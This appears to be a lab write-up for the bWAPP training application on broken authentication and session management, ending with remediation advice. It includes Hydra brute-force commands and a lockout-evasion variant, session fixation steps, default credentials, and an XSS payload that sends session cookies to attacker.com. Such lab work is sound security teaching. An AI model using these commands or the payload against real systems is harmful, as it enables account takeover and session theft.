🧪 08 — Broken Authentication & Session Management

Broken Authentication & Session Management

OWASP: A07 - Identification & Authentication Failures | **CWE**: CWE-287 | **Severity**: 🔴 Critical

---

📖 Description

Broken authentication flaws allow attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume other users' identities. This covers:

- Weak passwords / brute force
- Insecure session tokens
- Session fixation
- Insecure credential storage
- Missing account lockout

🔍 Affected Endpoints

```
http://localhost/bWAPP/ba_brute_force.php      (Brute Forc
e)
http://localhost/bWAPP/ba_insecure_login.php   (Insecure Lo
gin Credentials)
http://localhost/bWAPP/ba_weak_passwords.php   (Weak Passwo
rds)
http://localhost/bWAPP/sm_session_fixation.php (Session Fix
ation)
```

```
http://localhost/bWAPP/sm_session_hijacking.php (Session Hi
jacking)
```

⚠️ Security Level: LOW

PoC — Brute Force Login

```
# Hydra brute force
hydra -l bee -P /usr/share/wordlists/rockyou.txt localhost
http-post-form "/bWAPP/login.php:login=^USER^&password=^PAS
S^&security_level=0&form=submit:Invalid credentials"

# Custom small wordlist
hydra -l bee -P passwords.txt localhost http-post-form "/bW
APP/login.php:login=^USER^&password=^PASS^:Invalid"

# Burp Suite Intruder:
# 1. Intercept login POST
# 2. Send to Intruder
# 3. Mark password field as payload
# 4. Load wordlist -> Attack
```

PoC — Insecure Credentials in Traffic

```
# Login over HTTP (not HTTPS)
# Wireshark filter: http.request.method == POST
# Follow TCP stream -> see credentials in plaintext

# Or observe in URL bar:
http://localhost/bWAPP/ba_insecure_login_1.php?login=admin&
password=secret123&security_level=0
```

PoC — Session Fixation

```
1. Attacker visits: http://localhost/bWAPP/sm_session_fixat
ion.php
```

```
2. Gets session ID from cookie: PHPSESSID=attacker_chosen_v
alue
3. Sends victim URL with fixed session:
   http://localhost/bWAPP/index.php?SID=attacker_chosen_val
ue
4. Victim logs in with that session ID
5. Attacker uses same SID to access victim's authenticated
session
```

PoC — Session Hijacking via XSS

```
// Steal session cookie via XSS
<script>document.location='http://attacker.com/steal?c='+do
cument.cookie</script>

// Then use stolen cookie in browser or Burp:
// Cookie: PHPSESSID=stolen_value
```

PoC — Weak Password List

```
bWAPP default: bee / bug
Common test passwords:
admin / admin
admin / password
test / test
guest / guest
```

⚠️ Security Level: MEDIUM

Defense Applied

Basic rate limiting on login attempts (locks after N failures).

Bypass

```
# Slow down brute force to avoid lockout
hydra -l bee -P rockyou.txt localhost http-post-form "/bWAP
```

```
P/login.php:login=^USER^&password=^PASS^:Invalid" -W 3

# Distribute across multiple IPs (not practical in lab)
# Check if lockout resets after time period
```

⚠️ Security Level: HIGH

Defense Applied

- Strong password policies enforced
- Account lockout after 5 failed attempts
- Session tokens regenerated after login
- HTTPS enforced
- Session cookie: HttpOnly + Secure flags

Session Cookie Analysis

```
# Check cookie flags
# In browser DevTools -> Application -> Cookies
# Verify: HttpOnly = true, Secure = true, SameSite = Strict

# Verify session token randomness
python3 -c "import math; print(math.log2(len('abcdef0123456
789')**32))"
# Should be >= 128 bits of entropy
```

📊 Impact Analysis

Impact	Description
Account Takeover	Brute force or session theft
Privilege Escalation	Steal admin session
Data Breach	Access victim's private data
Identity Theft	Impersonate users

✅ Remediation

1. **Strong Password Policy**: Min 12 chars, uppercase, lowercase, number, symbol
2. **MFA**: Implement multi-factor authentication
3. **Account Lockout**: Lock after 5 failed attempts with exponential backoff
4. **Regenerate Session**: New session ID after every login/privilege change
5. **Secure Cookies**: HttpOnly, Secure, SameSite flags
6. **Short Session Timeout**: Expire inactive sessions after 15-30 minutes
7. **HTTPS Only**: Never transmit credentials over HTTP

```
// Regenerate session on login
session_regenerate_id(true);

// Secure cookie
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.use_only_cookies', 1);
```

📚 References

- CWE-287: https://cwe.mitre.org/data/definitions/287.html
- OWASP Auth: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/